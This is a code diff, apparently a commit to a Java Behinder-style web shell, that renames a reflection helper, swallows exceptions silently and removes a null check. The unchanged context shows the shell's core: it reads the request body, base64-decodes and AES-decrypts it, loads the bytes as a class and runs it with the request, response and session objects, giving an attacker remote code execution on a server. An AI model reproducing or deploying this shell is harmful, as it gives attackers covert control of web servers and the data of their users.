@@ -44,7 +44,7 @@ public boolean equals(Object obj) {
4444 map .put ("request" , request );
4545 map .put ("response" , getInternalResponse (response ));
4646 map .put ("session" , session );
47- String parameter = ((BufferedReader ) invokeMethod (request , "getReader" )).readLine ();
47+ String parameter = ((BufferedReader ) invokeInternalMethod (request , "getReader" )).readLine ();
4848 byte [] bytes = x (base64Decode (parameter ));
4949 Object instance = (new Behinder (this .getClass ().getClassLoader ())).g (bytes ).newInstance ();
5050 instance .equals (map );
@@ -66,8 +66,7 @@ public byte[] x(byte[] s) {
6666 initMethod .invoke (c , 2 , constructor .newInstance (pass .getBytes (), "AES" ));
6767 Method doFinalMethod = cipherClass .getMethod ("doFinal" , byte [].class );
6868 return ((byte []) doFinalMethod .invoke (c , s ));
69- } catch (Exception e ) {
70- e .printStackTrace ();
69+ } catch (Exception ignored ) {
7170 return null ;
7271 }
7372 }
@@ -122,7 +121,7 @@ public static byte[] base64Decode(String bs) {
122121 }
123122
124123 @ SuppressWarnings ("all" )
125- public static Object invokeMethod (Object obj , String methodName ) {
124+ public static Object invokeInternalMethod (Object obj , String methodName ) {
126125 try {
127126 Class <?> clazz = (obj instanceof Class ) ? (Class <?>) obj : obj .getClass ();
128127 Method method = null ;
@@ -133,10 +132,6 @@ public static Object invokeMethod(Object obj, String methodName) {
133132 clazz = clazz .getSuperclass ();
134133 }
135134 }
136- if (method == null ) {
137- throw new NoSuchMethodException ("Method not found: " + methodName );
138- }
139-
140135 method .setAccessible (true );
141136 return method .invoke (obj instanceof Class ? null : obj );
142137 } catch (Exception e ) {
0 commit comments